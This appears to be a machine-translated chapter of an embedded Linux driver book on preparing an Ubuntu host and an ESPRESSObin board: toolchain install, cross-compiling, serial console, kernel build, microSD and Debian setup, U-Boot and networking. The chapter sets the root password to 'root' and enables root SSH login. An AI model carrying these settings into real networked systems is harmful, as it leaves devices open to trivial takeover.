-每个优秀的设备驱动开发者都知道,主机是绝对必要的。 -即使现在嵌入式设备越来越强大(ESPRESSObin -就是其中之一),也有一些耗费资源的任务需要主机来帮忙。 -这就是为什么,在这一部分,我们将展示如何设置我们的主机。 - -我们决定使用的主机可以是普通的个人电脑,也可以是虚拟化的——它们是等价的——但重要的是,它必须运行基于 GNU/Linux 的操作系统。 - -# 准备好 - -在本书中,我将使用一个基于 Ubuntu 18.04 LTS 的系统,但是您可以决定尝试将本书过程中我们将使用的一些设置和安装命令复制到另一个主要的 Linux 发行版中,对于 Debian 衍生版本来说,几乎不需要做什么努力,或者对于非 Debian 衍生发行版来说,以更复杂的方式。 - -我不打算展示如何在个人电脑或虚拟机上安装一个全新的 Ubuntu 系统,因为对于一个真正的程序员来说,这是一项非常简单的任务;然而,作为本章的最后一步(在外部硬件上进行本机编译的*配方),我将介绍一个有趣的跨平台环境,并附带如何安装它的详细步骤,该环境被证明对在主机上编译外部目标代码非常有用,就像我们在目标上一样。当我们需要在您的开发电脑上运行几个不同的操作系统时,这个过程非常有用。* - -因此,在这一点上,读者应该有自己的电脑运行(本地或虚拟化)新安装的 Ubuntu 18.04 LTS 操作系统。 - -主机的主要用途是编辑和交叉编译我们的新设备驱动,并通过串行控制台管理我们的目标设备,创建其根文件系统,等等。 - -为了做好这件事,我们需要一些基本的工具;其中一些是通用的,而另一些则取决于我们将要在其上编写驱动的特定平台。 - -通用工具当然是编辑器、版本控制系统和编译器及其相关组件,而特定平台工具本质上是交叉编译器及其相关组件(在某些平台上,我们可能需要额外的工具,但我们的里程可能会有所不同,无论如何,每个制造商都会为我们提供舒适的编译环境所需的所有要求)。 - -关于编辑器:我不打算在这上面花任何话,因为读者可以使用他们想要的任何东西(例如,关于我自己,我仍然在用 vi editor 编程),但是关于其他工具,我必须更加具体。 - -# 怎么做... - -现在我们的 GNU/Linux 发行版已经启动并在我们的主机上运行,我们可以开始安装一些我们将在本书中使用的程序: - -1. 首先,让我们安装基本的编译工具: - -```sh -$ sudo apt install gcc make pkg-config \ - bison flex ncurses-dev libssl-dev \ - qemu-user-static debootstrap -``` - -As you know already, the `sudo` command is used to execute a command as a privileged user. It should be already present in your system, otherwise you can install it by using the `apt install sudo` command as the root user. - -2. 接下来,我们必须测试编译工具。我们应该能编译一个 C 程序。作为一个简单的测试,让我们使用存储在`helloworld.c`文件中的以下标准 *Hello World* 代码: - -```sh -#include - -int main(int argc, char *argv[]) -{ - printf("Hello World!\n"); - - return 0; -} -``` - -Remember that code can be downloaded from our GitHub repository. - -3. 现在,我们应该能够通过使用以下命令来编译它: - -```sh -$ make CFLAGS="-Wall -O2" helloworld -cc -Wall -O2 helloworld.c -o helloworld -``` - -在前面的命令中,我们使用了编译器和`make`工具,这是以舒适和可靠的方式编译每个 Linux 驱动所必需的。 - -You can get more information regarding `make` by taking a look at [https://www.gnu.org/software/make/](https://www.gnu.org/software/make/), and for `gcc`, you can go to [https://www.gnu.org/software/gcc/](https://www.gnu.org/software/gcc/). - -4. 最后,我们可以在主机上测试它,如下所示: - -```sh -$ ./helloworld -Hello World! -``` - -5. 下一步是安装交叉编译器。因为我们将使用 ARM64 系统,所以我们需要一个交叉编译器及其相关工具。要安装它们,我们只需使用以下命令: - -```sh -$ sudo apt install gcc-7-aarch64-linux-gnu -``` - -Note that we can also use an external toolchain as reported in the ESPRESSObin wiki at [http://wiki.espressobin.net/tiki-index.php?page=Build+From+Source+-+Toolchain](http://wiki.espressobin.net/tiki-index.php?page=Build+From+Source+-+Toolchain); however, the Ubuntu toolchain works perfectly! - -6. 安装完成后,使用前面的 *Hello World* 程序测试我们新的交叉编译器,如下所示: - -```sh -$ sudo ln -s /usr/bin/aarch64-linux-gnu-gcc-7 /usr/bin/aarch64-linux-gnu-gcc -$ make CC=aarch64-linux-gnu-gcc CFLAGS="-Wall -O2" helloworld -aarch64-linux-gnu-gcc-7 -Wall -O2 helloworld.c -o helloworld -``` - -Note that I've removed the previously compiled `helloworld` program in order to be able to correctly compile this new version. To do so, I used the `mv helloworld helloworld.x86_64` command due to the fact I'll need the x86 version again. - -Also, note that since Ubuntu doesn't automatically create the standard cross-compiler name, `aarch64-linux-gnu-gcc`, we have to do it manually by using the preceding `ln` command before executing `make`. - -7. 好了,现在我们可以使用下面的`file`命令来验证新创建的 ARM64 版本的`helloworld`程序。这将指出程序是为哪个平台编译的: - -```sh -$ file helloworld -helloworld: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=c0d6e9ab89057e8f9101f51ad517a253e5fc4f10, not stripped -``` - -如果我们在先前重命名的版本`helloworld.x86_64`上再次使用`file`命令,我们会得到以下结果: - -```sh -$ file helloworld.x86_64 -helloworld.x86_64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cf932fab45d36f89c30889df98ed382f6f648203, not stripped -``` - -8. 为了测试这个新版本是否真的针对 ARM64 平台,我们可以使用 **QEMU** ,这是一个开源的通用机器仿真器和虚拟器,能够在运行的平台上执行外来代码。要安装它,我们可以像前面的代码一样使用`apt`命令,指定`qemu-user-static`包: - -```sh -$ sudo apt install qemu-user-static -``` - -9. 然后,我们可以执行我们的 ARM64 程序: - -```sh -$ qemu-aarch64-static -L /usr/aarch64-linux-gnu/ ./helloworld -Hello World! -``` - -To get further information about QEMU, a good staring point is its home page at [https://www.qemu.org/](https://www.qemu.org/). - -10. 下一步是安装版本控制系统。我们必须安装用于 Linux 项目的版本控制系统,即`git`。要安装它,我们可以像以前一样使用以下命令: - -```sh -$ sudo apt install git -``` - -如果一切顺利,我们应该能够如下执行: - -```sh -$ git --help -usage: git [--version] [--help] [-C ] [-c =] - [--exec-path[=]] [--html-path] [--man-path] - [--info-path] [-p | --paginate | --no-pager] - [--no-replace-objects] [--bare] [--git-dir=] - [--work-tree=] [--namespace=] - [] - -These are common Git commands used in various situations: - -start a working area (see also: git help tutorial) - clone Clone a repository into a new directory - init Create an empty Git repository or reinitialise an existing one -... -``` - -In this book, I'm going to explain every `git` command used but for complete knowledge of this powerful tool, I suggest you start reading [https://git-scm.com/](https://git-scm.com/). - -# 请参见 - -* 关于 Debian 包管理的更多信息,你可以上网,但是一个很好的起点是在[https://wiki.debian.org/Apt,](https://wiki.debian.org/Apt),而关于编译工具(`gcc`、`make`和其他 GNU 软件),最好的文档是在[https://www.gnu.org/software/](https://www.gnu.org/software/)。 -* 那么,更好地记录`git`的最佳地点是在[https://git-scm.com/book/en/v2](https://git-scm.com/book/en/v2),在那里可以在线获得精彩的书籍 *Pro Git* ! - -# 使用串行控制台 - -如前所述(任何真正的嵌入式设备程序员都知道),串行控制台是设备驱动开发阶段的必备工具!那么,让我们看看如何通过它的串行控制台访问我们的 ESPRESSObin。 - -# 准备好 - -如*技术要求*部分截图所示,有一个微型 USB 接口,直接连接 ESPRESSObin 的串口控制台。因此,使用适当的 USB 电缆,我们可以将其连接到我们的主机电脑。 - -如果所有连接都正常,我们可以执行任何串行终端仿真器,从串行控制台查看数据。关于这个工具,我必须声明,作为编辑程序,我们可以使用我们喜欢的任何东西。但是,我将展示如何安装两个更常用的终端仿真程序— `minicom`和`screen`。 - -Note that this tool is not strictly required and its usage depends on the platform you're going to work on; however, in my humble opinion, this is the most powerful development and debugging tool ever! So, you definitely need it. - -要安装`minicom`,请使用以下命令: - -```sh -$ sudo apt install minicom -``` - -现在,要安装名为`screen`**的终端仿真器,我们只需将`minicom`字符串替换为`screen`数据包名称,如下图所示:** - -```sh -$ sudo apt install screen -``` - -它们都需要一个串行端口来工作,调用命令也非常相似。为了简洁起见,我将报告它们的用法,以便只与 ESPRESSObin 连接;但是,有关它们的更多信息,您应该参考它们的手册页(使用`man minicom`和`man screen`来显示它们)。 - -# 怎么做... - -要测试与目标系统的串行连接,我们可以执行以下步骤: - -1. 首先,我们要找到正确的串口。由于 ESPRESSObin 使用 USB 仿真串行端口(波特率为 115,200),通常我们的目标端口被命名为`ttyUSB0`(但是您的里程可能会有所不同,所以让我们在继续之前验证一下)因此我们必须使用的`minicom`命令与 ESPRESSObin 串行控制台连接如下: - -```sh -$ minicom -o -D /dev/ttyUSB0 -``` - -To correctly get access to the serial console, we may need proper privileges. In fact, we may try to execute the preceding `minicom` command, and we don't get an output! This is because the `minicom` command silently exits if we don't have enough privileges to get access to the port. We can verify our access to privileges by simply using another command on it, as shown here: -**`$ cat /dev/ttyUSB0`** -`cat: /dev/ttyUSB0: Permission denied` -In this case, the `cat` command perfectly tells us what's wrong so we can fix this issue using `sudo` or, even better, by properly adding our system's user to the right group as shown here: -**`$ ls -l /dev/ttyUSB0`** `crw-rw---- 1 root dialout 188, 0 Jan 12 23:06 /dev /ttyUSB0` -**`$ sudo adduser $LOGNAME dialout`** -Then, we log out and log in again, and we can access the serial devices without any problem. - -2. 使用`screen`的等效命令报告如下: - -```sh -$ screen /dev/ttyUSB0 115200 -``` - -Note that, on `minicom`, I didn't specify the serial communication options (baud rate, parity, and so on) while, for `screen`, I've added the baud rate on the command line; this is because my default `minicom` configuration automatically uses correct communication options while `screen` uses 9,600 baud as a default baud rate. Please refer to the program man pages for further information about how to do this setting in order to fit your needs. - -3. 如果一切正常,在正确的串行端口上执行终端模拟器后,打开我们的 ESPRESSObin(只需接通电源)。我们应该在终端上看到以下输出: - -```sh -NOTICE: Booting Trusted Firmware -NOTICE: BL1: v1.3(release):armada-17.06.2:a37c108 -NOTICE: BL1: Built : 14:31:03, Jul 5 2NOTICE: BL2: v1.3(release):armada-17.06.2:a37c108 -NOTICE: BL2: Built : 14:31:04, Jul 5 201NOTICE: BL31: v1.3(release):armada-17.06.2:a37c108 -NOTICE: BL31: - -U-Boot 2017.03-armada-17.06.3-ga33ecb8 (Jul 05 2017 - 14:30:47 +0800) - -Model: Marvell Armada 3720 Community Board ESPRESSOBin - CPU @ 1000 [MHz] - L2 @ 800 [MHz] - TClock @ 200 [MHz] - DDR @ 800 [MHz] -DRAM: 2 GiB -U-Boot DComphy-0: USB3 5 Gbps -Comphy-1: PEX0 2.5 Gbps -Comphy-2: SATA0 6 Gbps -SATA link 0 timeout. -AHCI 0001.0300 32 slots 1 ports 6 Gbps 0x1 impl SATA mode -flags: ncq led only pmp fbss pio slum part sxs -PCIE-0: Link down -MMC: sdhci@d0000: 0 -SF: Detected w25q32dw with page size 256 Bytes, erase size 4 KiB, total 4 MiB -Net: eth0: neta@30000 [PRIME] -Hit any key to stop autoboot: 2 -``` - -# 请参见 - -* 有关如何连接 ESPRESSObin 串行端口的更多信息,您可以查看其位于[http://wiki.espressobin.net/tiki-index.php?的关于串行连接的维基部分 page = Serial+connection+-+Linux](http://wiki.espressobin.net/tiki-index.php?page=Serial+connection+-+Linux)。 - -# 配置和构建内核 - -现在,是时候下载内核源代码,然后配置和构建它们了。需要这一步有几个原因:第一个原因是我们需要一个内核来引导操作系统,第二个原因是我们需要一个配置好的内核源代码树来编译我们的驱动。 - -# 准备好 - -由于从 4.11 版本开始,我们的 ESPRESSObin 现在被支持到普通内核中,我们可以通过使用以下`git`命令来获取 Linux 源代码: - -```sh -$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git -``` - -This command will take a lot of time to finish so I would suggest you take a break by drinking your favorite cup of coffee (as real programmers should do). - -完成后,我们可以进入`linux`目录查看 Linux 源码: - -```sh -$ cd linux/ -$ ls -arch CREDITS firmware ipc lib mm scripts usr -block crypto fs Kbuild LICENSES net security virt -certs Documentation include Kconfig MAINTAINERS README sound -COPYING drivers init kernel Makefile samples tools -``` - -这些来源与可能不稳定的最新内核版本有关,因此为了确保我们使用的是稳定的内核版本(或*长期版本*,让我们提取 4.18 版本,这是编写本章时的当前稳定版本,如下所示: - -```sh -$ git checkout -b v4.18 v4.18 -``` - -# 怎么做... - -在开始编译之前,我们必须配置内核和编译环境。 - -1. 最后一项任务非常简单,它包括执行以下环境变量分配: - -```sh -$ export ARCH=arm64 -$ export CROSS_COMPILE=aarch64-linux-gnu- -``` - -2. 然后,我们可以通过简单地使用以下命令来选择 ESPRESSObin 标准内核配置: - -```sh -$ make defconfig -``` - -Depending on the kernel release you're using, the default configuration file may be also called `mvebu_defconfig` or either `mvebu_v5_defconfig` or `mvebu_v7_defconfig`. So, please take a look into the `linux/arch/arm64/configs/` directory in order to see which file is present that best suits your needs. -In my system, I have the following: -**`$ ls linux/arch/arm64/configs/`** -`defconfig` - -3. 如果我们希望修改这个默认配置,我们可以执行`make menuconfig`命令,它将显示一个漂亮的菜单,我们可以在其中输入我们的修改以满足我们的需求。以下屏幕截图显示了内核配置菜单在终端上的显示方式: - -![](img/0b6ceb4e-3a6e-4ace-b9f6-6eca264c1138.png) - -4. 在继续之前,我们必须确保在内核中启用了**分布式交换机架构** ( **DSA** ,否则我们根本无法使用以太网端口!这是因为 ESPRESSObin 有一个复杂的(并且非常强大的)内部网络交换机,必须使用这种特殊的支持来管理。 - -For further information regarding the DSA, you can start reading the `linux/Documentation/networking/dsa/dsa.txt` file, located in the kernel sources we're currently working on. - -5. 要启用 DSA 支持,只需导航到网络支持的内核菜单。转到网络选项,最后启用分布式交换机体系结构支持。之后,我们必须回到菜单的顶层,然后选择这些条目:设备驱动|网络设备支持|分布式交换机架构驱动,然后启用 Marvell 88E6xxx 以太网交换机结构支持,这是 ESPRESSObin 的板载交换机芯片。 - -Remember that, to enable a kernel feature as a module or a built-in, you need to highlight the desired feature and then press the spacebar until the character inside the <> characters changes to * (which means built-in, that is, <*>) or to M (which means module, that is, ). Note that, to enable DSA as a built-in instead of as a module, we have to disable 802.1d Ethernet Bridging support (that is, the entry just above). - -6. 好吧,在所有内核设置就绪之后,我们可以使用以下`make`命令启动内核编译: - -```sh -$ make Image dtbs modules -``` - -Again, as the downloading command, this command will need a lot of time to finish, so let me suggest you take another break. However, in order to speed up the compilation process, you may try using the `-j` option argument in order to tell `make` to use several simultaneous process to compile the code. For example, on my machine, having eight CPU threads, I use the following command: -**`$ make -j8 Image dtbs modules`** -So, let's try using the following `lscpu` command to get how many CPUs your system has: -**`lscpu | grep '^CPU(s):'`** -`CPU(s): 8` -Alternatively, on Ubuntu/Debian, there's also the pre-installed `nproc` utility, so the following command also does the trick: -**`$ make -j$(nproc)`** - -完成后,我们应该将内核映像放入`arch/arm64/boot/Image`文件,将设备树二进制文件放入`arch/arm64/boot/dts/marvell/armada-3720-espressobin.dtb`文件,这些文件准备好传输到我们将在下一个食谱中构建的 microSD 中,*设置目标机器*。 - -# 请参见 - -* 要了解更多关于 ESPRESSObin 内核版本的信息,以及如何获取、编译和安装它们,只需看看 http://wiki.espressobin.net/tiki-index.php?的 ESPRESSObin 维基页面 page = Build+From+Source+-+内核。 - -# 设置目标机器 - -现在,是时候在我们的目标系统上安装我们需要的任何东西了;由于 ESPRESSObin 仅与引导加载程序一起出售,我们必须做一些工作,以便获得一个具有适当操作系统的功能齐全的系统。 - -In this book, I'm going to use a Debian OS for the ESPRESSObin but you may use other OSes as reported at [http://wiki.espressobin.net/tiki-index.php?page=Software+HowTo](http://wiki.espressobin.net/tiki-index.php?page=Software+HowTo). On this site, you can get more detailed information about how to properly set up your ESPRESSObin to fit your needs. - -# 准备好 - -即使 ESPRESSObin 可以从不同的媒体启动,我们也将使用 microSD,因为这是设置系统最简单、最有用的方法。对于不同的媒体,请参考 ESPRESSObin 的维基页面——参见[http://wiki.espressobin.net/tiki-index.php?page = Boot+from+可移动+存储+-+Ubuntu](http://wiki.espressobin.net/tiki-index.php?page=Boot+from+removable+storage+-+Ubuntu) 举一些例子。 - -# 怎么做... - -要设置 microSD,我们必须使用我们的主机,因此插入它,然后找到相应的设备。 - -1. 如果我们使用的是 SD/microSD 插槽,只要插入介质,我们就会在内核消息中看到类似这样的内容: - -```sh -mmc0: cannot verify signal voltage switch -mmc0: new ultra high speed SDR50 SDHC card at address aaaa -mmcblk0: mmc0:aaaa SL08G 7.40 GiB - mmcblk0: p1 -``` - -To get kernel messages on the Terminal, we can use the `dmesg` command. - -但是,如果我们要使用 microSD 转 USB 适配器内核,消息将如下所示: - -```sh -usb 1-6: new high-speed USB device number 5 using xhci_hcd -usb 1-6: New USB device found, idVendor=05e3, idProduct=0736 -usb 1-6: New USB device strings: Mfr=3, Product=4, SerialNumber=2 -usb 1-6: Product: USB Storage -usb 1-6: Manufacturer: Generic -usb 1-6: SerialNumber: 000000000272 -usb-storage 1-6:1.0: USB Mass Storage device detected -scsi host4: usb-storage 1-6:1.0 -usbcore: registered new interface driver usb-storage -usbcore: registered new interface driver uas -scsi 4:0:0:0: Direct-Access Generic STORAGE DEVICE 0272 PQ: 0 ANSI: 0 -sd 4:0:0:0: Attached scsi generic sg3 type 0 -sd 4:0:0:0: [sdc] 15523840 512-byte logical blocks: (7.95 GB/7.40 GiB) -sd 4:0:0:0: [sdc] Write Protect is off -sd 4:0:0:0: [sdc] Mode Sense: 0b 00 00 08 -sd 4:0:0:0: [sdc] No Caching mode page found -sd 4:0:0:0: [sdc] Assuming drive cache: write through - sdc: sdc1 -sd 4:0:0:0: [sdc] Attached SCSI removable disk -``` - -2. 定位媒体的另一种简单方法是使用`lsblk`命令,如下所示: - -```sh -$ lsblk -NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT -loop0 7:0 0 5M 1 loop /snap/gedit/66 -loop1 7:1 0 4.9M 1 loop /snap/canonical-livepatch/50 -... -sdb 8:16 0 931.5G 0 disk -└─sdb1 8:17 0 931.5G 0 part /run/schroot/mount/ubuntu-xenial-amd64-f72c490 -sr0 11:0 1 1024M 0 rom -mmcblk0 179:0 0 7.4G 0 disk -└─mmcblk0p1 - 179:1 0 7.4G 0 part /media/giometti/5C60-6750 -``` - -3. 现在很明显,我们的 microSD 卡在这里被列为`/dev/mmcblk0`,但它不是空的。由于我们想要清除它的所有内容,我们必须首先使用以下命令清除它: - -```sh -$ sudo dd if=/dev/zero of=/dev/mmcblk0 bs=1M count=100 -``` - -4. 为了在媒体设备上安全工作,您可能需要在继续清除之前卸载设备,因此让我们在所有设备上使用`umount`命令卸载设备的所有分区,就像我在下面对我的 microSD 上唯一定义的分区所做的那样: - -```sh -$ sudo umount /dev/mmcblk0p1 -``` - -您只需对您的 microSD 上的每个已定义分区重复此命令。 - -5. 现在,我们将使用下一个命令在空 SD 卡上创建一个新分区`/dev/mmcblk0p1`: - -```sh -$ (echo n; echo p; echo 1; echo ''; echo ''; echo w) | sudo fdisk /dev/mmcblk0 -``` - -如果一切正常,我们的 microSD 媒体应该显示为格式化的,如下所示: - -```sh -$ sudo fdisk -l /dev/mmcblk0 -Disk /dev/mmcblk0: 7.4 GiB, 7948206080 bytes, 15523840 sectors -Units: sectors of 1 * 512 = 512 bytes -Sector size (logical/physical): 512 bytes / 512 bytes -I/O size (minimum/optimal): 512 bytes / 512 bytes -Disklabel type: dos -Disk identifier: 0x34f32673 - -Device Boot Start End Sectors Size Id Type -/dev/mmcblk0p1 2048 15523839 15521792 7.4G 83 Linux -``` - -6. 然后,我们必须使用以下命令将其格式化为 EXT4: - -```sh -$ sudo mkfs.ext4 -O ^metadata_csum,^64bit -L root /dev/mmcblk0p1 -``` - -Note that this command line works for the `e2fsprogs` version >=1.43 only! If you're using an older release, you should use the following command: -**`$ sudo mkfs.ext4 -L root /dev/mmcblk0p1`** - -7. 接下来,在您的本地 Linux 机器上挂载这个分区: - -```sh -$ sudo mount /dev/mmcblk0p1 /mnt/ -``` - -Note that, on some OSes (and especially on Ubuntu), as soon as we unplug and then we plug in the media device again, it is mounted automatically into `/media/$USER/root` where `$USER` is an environment variable holding your username. For instance, on my machine, I have the following: -**`$ ls -ld /media/$USER/root`** -`drwxr-xr-x 3 root root 4096 Jan 10 14:28 /media/giometti/root/` - -# 添加 Debian 文件 - -我决定使用 Debian 作为目标操作系统,因为它是我最喜欢的开发(如果可能的话,生产)系统发行版: - -1. 要安装它,我们再次使用 QEMU 软件,使用以下命令: - -```sh -$ sudo qemu-debootstrap \ - --arch=arm64 \ - --include="sudo,file,openssh-server" \ - --exclude="debfoster" \ - stretch ./debian-stretch-arm64 http://deb.debian.org/debian -``` - -You could see warnings about keyring here; they are harmless and they can be safely ignored: -`W: Cannot check Release signature;` I suppose this is another coffee-break command. - -2. 一旦完成,我们应该在`debian-stretch-arm64`中为 ESPRESSObin 找到一个干净的 Debian 根文件系统,但是,在将它传输到 microSD 之前,我们应该修复`hostname`文件内容,如下所示: - -```sh -$ sudo bash -c 'echo espressobin | cat > ./debian-stretch-arm64/etc/hostname' -``` - -3. 然后,我们必须将串行设备`ttyMV0`添加到`/etc/securetty`文件中,以便能够通过串行设备`/dev/ttyMV0`作为根用户登录。使用以下命令: - -```sh -$ sudo bash -c 'echo -e "\n# Marvell serial ports\nttyMV0" | \ - cat >> ./debian-stretch-arm64/etc/securetty' -``` - -Use `man securetty` for further information about the root login through a serial connection. - -4. 最后一步,我们必须设置根密码: - -```sh -$ sudo chroot debian-stretch-arm64/ passwd -Enter new UNIX password: -Retype new UNIX password: -passwd: password updated successfully -``` - -这里,我使用`root`字符串作为根用户的密码(由您选择您的密码)。 - -In order to have further information regarding this usage of the `chroot` command, you can use the `man chroot` command or continue reading till the end of this chapter where I'm going to explain a bit better how it works. - -现在,我们可以使用以下命令将所有文件安全地复制到我们的 microSD 中: - -```sh -$ sudo cp -a debian-stretch-arm64/* /media/$USER/root/ -``` - -以下是 microSD 内容的外观: - -```sh -$ ls /media/$USER/root/ -bin dev home lost+found mnt proc run srv tmp var -boot etc lib media opt root sbin sys usr -``` - -# 添加内核 - -在操作系统文件之后,我们还需要内核映像来获得一个正在运行的内核,在前面的部分中,我们将内核映像放入`arch/arm64/boot/Image`文件,将设备树二进制放入`arch/arm64/boot/dts/marvell/armada-3720-espressobin.dtb`文件,这些文件已经准备好传输到我们新创建的 microSD 中: - -1. 让我们将它们复制到`/boot`目录中,如下所示: - -```sh -$ sudo cp arch/arm64/boot/Image \ - arch/arm64/boot/dts/marvell/armada-3720-espressobin.dtb \ - /media/$USER/root/boot/ -``` - -If the `/boot` directory was not present in the microSD and the preceding command returned an error, you can recover by using the following command and rerun the preceding `cp` command: -`$ sudo mkdir /media/$USER/root/boot` - -然后,`/boot`目录应该是这样的: - -```sh -$ ls /media/$USER/root/boot/ -armada-3720-espressobin.dtb Image -``` - -2. 前面的文件足以引导系统;但是,为了也安装内核模块和头文件,这对编译新软件很有用,我们可以在所有 Debian 文件都安装到 microSD 后使用下一个命令(以避免用 Debian 文件覆盖): - -```sh -$ sudo -E make modules_install INSTALL_MOD_PATH=/media/$USER/root/ -$ sudo -E make headers_install INSTALL_HDR_PATH=/media/$USER/root/usr/ -``` - -好了,现在我们终于准备好把它捆绑起来,运行我们新的 Debian 系统,所以让我们卸载 microSD,并将其插入 ESPRESSObin。 - -# 设置引导变量 - -通电后,我们应该从串行控制台获取引导加载程序的消息,然后在执行自动引导之前,我们应该看到超时值为 0: - -1. 点击键盘上的*回车*键快速停止倒计时,得到引导加载程序的提示,如下: - -```sh -Model: Marvell Armada 3720 Community Board ESPRESSOBin - CPU @ 1000 [MHz] - L2 @ 800 [MHz] - TClock @ 200 [MHz] - DDR @ 800 [MHz] -DRAM: 2 GiB -U-Boot DComphy-0: USB3 5 Gbps -Comphy-1: PEX0 2.5 Gbps -Comphy-2: SATA0 6 Gbps -SATA link 0 timeout. -AHCI 0001.0300 32 slots 1 ports 6 Gbps 0x1 impl SATA mode -flags: ncq led only pmp fbss pio slum part sxs -PCIE-0: Link down -MMC: sdhci@d0000: 0 -SF: Detected w25q32dw with page size 256 Bytes, erase size 4 KiB, total 4 MiB -Net: eth0: neta@30000 [PRIME] -Hit any key to stop autoboot: 0 -Marvell>> -``` - -The ESPRESSObin's bootloader is U-Boot, which has its home page at [https://www.denx.de/wiki/U-Boot](https://www.denx.de/wiki/U-Boot). - -2. 现在,让我们使用`ext4ls`命令再次检查 microSD 卡是否有必要的文件,如下所示: - -```sh -Marvell>> ext4ls mmc 0:1 boot - 4096 . - 4096 .. - 18489856 Image - 8359 armada-3720-espressobin.dtb -``` - -好了,一切都准备好了,所以从 microSD 卡启动只需要几个变量。 - -3. 我们可以使用`echo`命令在任意点显示当前定义的变量,也可以使用`setenv`命令重新配置它们。首先,检查并设置正确的映像和设备树路径和名称: - -```sh -Marvell>> echo $image_name -Image -Marvell>> setenv image_name boot/Image -Marvell>> echo $fdt_name -armada-3720-espressobin.dtb -Marvell>> setenv fdt_name boot/armada-3720-espressobin.dtb -``` - -Note that, filenames were correct but the path names were not; that's why I used the `setenv` command to correctly redefine them. - -4. 接下来,定义`bootcmd`变量,我们将使用它从 microSD 卡启动: - -```sh -Marvell>> setenv bootcmd 'mmc dev 0; \ - ext4load mmc 0:1 $kernel_addr $image_name; \ - ext4load mmc 0:1 $fdt_addr $fdt_name; \ - setenv bootargs $console root=/dev/mmcblk0p1 rw rootwait; \ - booti $kernel_addr - $fdt_addr' -``` - -We must be careful to set the preceding root path to point to where we have extracted the Debian filesystem (the first partition in our case). - -5. 使用`saveenv`命令随时保存设置的变量。 -6. 最后,我们通过简单地键入`reset`命令来启动 ESPRESSObin,如果一切正常,我们将看到系统启动并运行,最后,我们将获得系统登录提示,如下所示: - -```sh -Debian GNU/Linux 9 espressobin ttyMV0 - -giometti-VirtualBox login: -``` - -7. 现在,使用先前设置的`root`密码以 root 用户身份登录: - -```sh -Debian GNU/Linux 9 espressobin ttyMV0 - -espressobin login: root -Password: -Linux espressobin 4.18.0 #2 SMP PREEMPT Sun Jan 13 13:05:03 CET 2019 aarch64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -root@espressobin:~# -``` - -# 设置网络 - -好了,现在我们的 ESPRESSObin 已经准备好执行我们的代码和驱动了!但是,在结束本节之前,让我们看一下网络配置,因为使用 SSH 连接登录到主板或者只是快速地从/向主板复制文件会更有用(即使我们可以删除 microSD,然后直接从主机复制文件): - -1. 看看 ESPRESSObin 上可用的网络接口,我们会看到以下内容: - -```sh -# ip link -1: lo: mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT - group default qlen 1000 - link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 -2: eth0: mtu 1500 qdisc noop state DOWN mode DEFAULT group - default qlen 532 - link/ether 3a:ac:9b:44:90:e9 brd ff:ff:ff:ff:ff:ff -3: wan@eth0: mtu 1500 qdisc noop state DOWN mode DE -FAULT group default qlen 1000 - link/ether 3a:ac:9b:44:90:e9 brd ff:ff:ff:ff:ff:ff -4: lan0@eth0: mtu 1500 qdisc noop state DOWN mode D -EFAULT group default qlen 1000 - link/ether 3a:ac:9b:44:90:e9 brd ff:ff:ff:ff:ff:ff -5: lan1@eth0: mtu 1500 qdisc noop state DOWN mode D -EFAULT group default qlen 1000 - link/ether 3a:ac:9b:44:90:e9 brd ff:ff:ff:ff:ff:ff -``` - -`eth0`接口是连接 CPU 和以太网交换机的接口,而`wan`、`lan0`和`lan1`接口是我们可以物理连接以太网电缆的接口(注意系统称它们为`wan@eth0`、`lan0@eth0`和`lan1@eth1`,只是为了强调它们是`eth0`的奴隶)。下面是 ESPRESSObin 的照片,我们可以看到每个以太网端口及其标签: - -![](img/ef6d52cc-44e8-47c7-a928-cefca0bcfe87.png) - -2. 不管它们的名称如何,所有端口都是等效的,所以将以太网电缆连接到一个端口(我将使用`wan`),然后在`eth0`之后启用它,如下所示: - -```sh -# ip link set eth0 up -mvneta d0030000.ethernet eth0: configuring for fixed/rgmii-id link mode -mvneta d0030000.ethernet eth0: Link is Up - 1Gbps/Full - flow control off -# ip link set wan up -mv88e6085 d0032004.mdio-mii:01 wan: configuring for phy/ link mode -mv88e6085 d0032004.mdio-mii:01 wan: Link is Up - 100Mbps/Full - flow control rx/tx -``` - -Note that, in the preceding output, there are also kernel messages that show what you should see if everything is working well. - -3. 现在,我们可以手动设置一个 IP 地址,或者我们可以用`dhclient`命令询问我们的 DHCP 服务器我们上网需要什么: - -```sh -# dhclient wan -``` - -以下是我的网络配置: - -```sh -# ip addr show wan -3: wan@eth0: mtu 1500 qdisc noqueue state UP g -roup default qlen 1000 - link/ether 9e:9f:6b:5c:cf:fc brd ff:ff:ff:ff:ff:ff - inet 192.168.0.100/24 brd 192.168.0.255 scope global wan - valid_lft forever preferred_lft forever -``` - -4. 现在,我们准备安装新软件或尝试建立一个到 ESPRESSObin 的 SSH 连接;为此,让我们验证我们在`/etc/ssh/sshd_config`文件中有以下 SSH 服务器的配置: - -```sh -# grep 'PermitRootLogin yes' /etc/ssh/sshd_config -PermitRootLogin yes -``` - -5. 如果没有输出,我们就不能以 root 身份登录到我们的 ESPRESSObin,所以我们必须将`PermitRootLogin`设置更改为`yes`,然后重新启动守护程序: - -```sh -# /etc/init.d/ssh restart - -Restarting ssh (via systemctl): ssh.service. -``` - -6. 现在,在主机上,我们可以尝试通过 SSH 登录,如下所示: - -```sh -$ ssh root@192.168.0.100 -root@192.168.0.100's password: -Linux espressobin 4.18.0 #2 SMP PREEMPT Sun Jan 13 13:05:03 CET 2019 aarch64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -Last login: Thu Nov 3 17:16:59 2016 --bash: warning: setlocale: LC_ALL: cannot change locale (en_GB.UTF-8) -``` - -# 请参见 - -* 